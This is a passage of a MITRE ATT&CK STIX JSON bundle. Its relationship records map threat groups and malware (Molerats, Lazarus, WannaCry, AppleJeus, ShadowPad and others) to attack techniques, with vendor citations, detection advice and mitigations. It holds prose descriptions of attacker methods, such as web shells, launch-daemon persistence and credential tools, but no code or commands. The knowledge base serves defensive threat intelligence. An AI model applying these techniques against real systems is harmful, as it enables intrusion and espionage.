Guidance)","modified":"2022-04-14T19:59:10.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0da9ee24-37ac-4568-b1fc-d784f05dfc97","type":"relationship","created":"2020-12-15T00:58:30.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2021-04-19T22:15:46.560Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has used msiexec.exe to execute an MSI payload.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.370Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get the victim's domain and NetBIOS name.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dba319b-0d1e-4c73-8153-9ce13d27c98c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2019-07-26T23:00:57.632Z","description":"[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dbeb3a0-ee5c-4c90-9c46-886af5a34bd4","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T13:58:21.499Z","description":"Monitor for unexpected deletion of a snapshot (ex: AWS `DeleteSnapshot`, `DeleteDBSnapshot`)","relationship_type":"detects","source_ref":"x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dbf8a74-0b7d-4bb3-b20d-ab31a40d9163","created":"2024-03-28T15:45:46.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:08.193Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) obtained and used tools such as Mimikatz and PsExec.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dc3db64-17d3-4a1e-9f11-5e974d28db4f","created":"2024-07-25T20:30:19.242Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:30:19.242Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes keylogger payloads focused on the QQ chat application.(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dcab59a-f989-4109-a667-d6b98898274b","created":"2022-07-14T17:20:32.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:29:50.358Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has registered domains to impersonate services such as Dropbox to distribute malware.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dcce53a-3ac1-4528-8c34-f85569638740","created":"2022-02-01T16:00:17.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T13:50:01.049Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has compromised servers to stage malicious tools.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dd73de5-d615-4455-a552-ff382ec75e82","type":"relationship","created":"2020-05-14T19:06:50.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-18T22:00:40.676Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has obfuscated strings with base64 encoding.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dd74596-509c-4669-9d29-e1fb501c9c70","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2021-02-09T14:51:14.723Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [Windows Service](https://attack.mitre.org/techniques/T1543/003).(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dd7e88b-aeea-4b14-a06c-becaa94f8bba","type":"relationship","created":"2020-12-15T01:32:07.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T19:11:27.262Z","description":"(Citation: Unit42 Molerat Mar 2020) (Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ddcf163-015f-46a2-8de7-375712d92bae","type":"relationship","created":"2020-05-22T19:37:14.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T16:17:17.851Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used tools for capturing keystrokes.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0de53f4c-a286-44da-be79-52960c7f2f84","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dee5507-6e61-4244-86a8-c7e8a34469da","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-01-09T17:15:14.830Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). It is installed as an ISAPI filter on Exchange servers and shares characteristics with the [China Chopper](https://attack.mitre.org/software/S0020) Web shell.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0df8e968-716a-4de9-9669-862af62d6eb6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.517Z","description":"[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dfd9bcd-f9e2-44c1-9d87-07c626644561","type":"relationship","created":"2019-07-18T21:33:37.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.255Z","description":"Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Ensure proper system and access isolation for critical network systems through use of account privilege separation.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0dfdfffc-2d1b-487f-91e0-66d81b185367","type":"relationship","created":"2020-05-06T21:01:23.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.245Z","description":"[Attor](https://attack.mitre.org/software/S0438) can obtain application window titles and then determines which windows to perform Screen Capture on.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0dff1232-e275-46bd-b893-3df8b5a6b0c2","created":"2022-07-29T19:51:34.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:30:40.054Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has deleted arbitrary Registry values.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.311Z","description":"(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--65370d0b-3bd4-4653-8cf9-daf56f6be830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e078567-e5b6-45b6-a1c7-3b1f8ac3e2a8","created":"2022-09-28T17:46:18.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ObjectiveSee AppleJeus 2019","description":"Patrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.","url":"https://objective-see.org/blog/blog_0x49.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T17:53:53.876Z","description":"During [AppleJeus](https://attack.mitre.org/software/S0584)'s installation process, it uses `postinstall` scripts to extract a hidden plist from the application's `/Resources` folder and execute the `plist` file as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) with elevated permissions.(Citation: ObjectiveSee AppleJeus 2019)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e07a552-cea0-47f0-b96b-009a19c3e09a","type":"relationship","created":"2021-03-25T14:53:58.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:53:58.087Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the processor architecture of a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:45:57.590Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) uses [Tor](https://attack.mitre.org/software/S0183) for command and control.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e12d7d1-5c46-4314-97fb-263853eed6af","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T16:56:45.590Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of writing a file to the compromised system from the C2 server.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e12dc13-6f73-4ad9-9cb5-845d443b4d58","type":"relationship","created":"2019-03-25T19:13:54.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"},{"description":"US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-132A","source_name":"US-CERT WannaCry 2017"}],"modified":"2019-04-22T11:43:33.324Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) uses an exploit in SMBv1 to spread itself to other remote systems on a network.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: US-CERT WannaCry 2017)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e1a58e9-06e9-4ad5-8445-4068e240e3d7","created":"2024-05-25T16:26:37.928Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:26:37.928Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) has leveraged vulnerabilities in client applications such as CVE-2017-11882 in Microsoft Office to enable code execution in victim environments.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e1bf920-fd5a-4859-bf55-62e5f9817289","type":"relationship","created":"2020-09-09T15:45:49.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:45:49.120Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has targeted 